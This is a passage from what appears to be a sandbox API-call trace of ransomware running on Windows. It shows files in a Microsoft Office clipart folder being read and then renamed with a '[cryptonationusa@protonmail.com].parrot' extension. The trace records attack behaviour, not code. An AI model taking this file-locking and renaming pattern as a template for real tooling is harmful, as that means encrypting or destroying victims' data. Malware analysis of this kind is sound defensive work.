nNumberOfBytesToLockHigh=0x0) returned 1 [0139.284] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.285] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.286] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.286] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x73a2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x73a2, lpOverlapped=0x0) returned 1 [0139.287] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.289] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x74ba, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.289] CloseHandle (hObject=0x27c) returned 1 [0139.289] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.293] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3482, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.293] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.293] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.295] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.295] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x336a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x336a, lpOverlapped=0x0) returned 1 [0139.296] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.296] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3482, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.297] CloseHandle (hObject=0x27c) returned 1 [0139.297] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.299] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1dbc, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.300] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.300] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.301] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.301] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ca4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1ca4, lpOverlapped=0x0) returned 1 [0139.302] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.302] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1dbc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.302] CloseHandle (hObject=0x27c) returned 1 [0139.303] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.305] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x12ce, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.305] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.305] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.307] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.307] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11b6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x11b6, lpOverlapped=0x0) returned 1 [0139.308] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.308] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x12ce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.308] CloseHandle (hObject=0x27c) returned 1 [0139.308] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.311] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2192, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.311] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.311] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.313] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.313] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x207a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x207a, lpOverlapped=0x0) returned 1 [0139.314] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.314] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2192, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.314] CloseHandle (hObject=0x27c) returned 1 [0139.314] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.321] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7410, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.321] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.321] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.323] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.323] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72f8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72f8, lpOverlapped=0x0) returned 1 [0139.323] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.325] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7410, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.325] CloseHandle (hObject=0x288) returned 1 [0139.326] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.329] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5468, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.329] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.330] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.331] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.331] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5350, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5350, lpOverlapped=0x0) returned 1 [0139.333] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.333] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5468, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.333] CloseHandle (hObject=0x288) returned 1 [0139.333] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.336] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x49d6, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.336] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.336] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.338] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.338] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x48be, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x48be, lpOverlapped=0x0) returned 1 [0139.339] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.339] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x49d6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.339] CloseHandle (hObject=0x288) returned 1 [0139.339] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.343] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf78, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.343] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.343] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.344] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.344] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe60, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe60, lpOverlapped=0x0) returned 1 [0139.344] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.345] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf78, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.345] CloseHandle (hObject=0x288) returned 1 [0139.345] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.347] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcd4, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.348] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.348] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.349] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.349] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbbc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbbc, lpOverlapped=0x0) returned 1 [0139.349] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.350] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcd4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.350] CloseHandle (hObject=0x288) returned 1 [0139.350] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.353] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x13a6, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.353] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.353] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.354] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.354] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x128e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x128e, lpOverlapped=0x0) returned 1 [0139.355] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.355] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x13a6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.355] CloseHandle (hObject=0x288) returned 1 [0139.355] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.372] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15e6, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.372] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.372] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.373] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.374] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14ce, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x14ce, lpOverlapped=0x0) returned 1 [0139.374] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.375] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15e6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.375] CloseHandle (hObject=0x288) returned 1 [0139.375] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.378] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x100a, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.378] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.378] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.380] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.380] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xef2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xef2, lpOverlapped=0x0) returned 1 [0139.380] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.380] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x100a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.381] CloseHandle (hObject=0x288) returned 1 [0139.381] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.384] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x369e, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.384] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.384] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.385] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.385] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3586, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3586, lpOverlapped=0x0) returned 1 [0139.386] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.386] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x369e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.387] CloseHandle (hObject=0x288) returned 1 [0139.387] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.390] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c18, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.390] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.390] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.391] SetFilePointerEx (in: 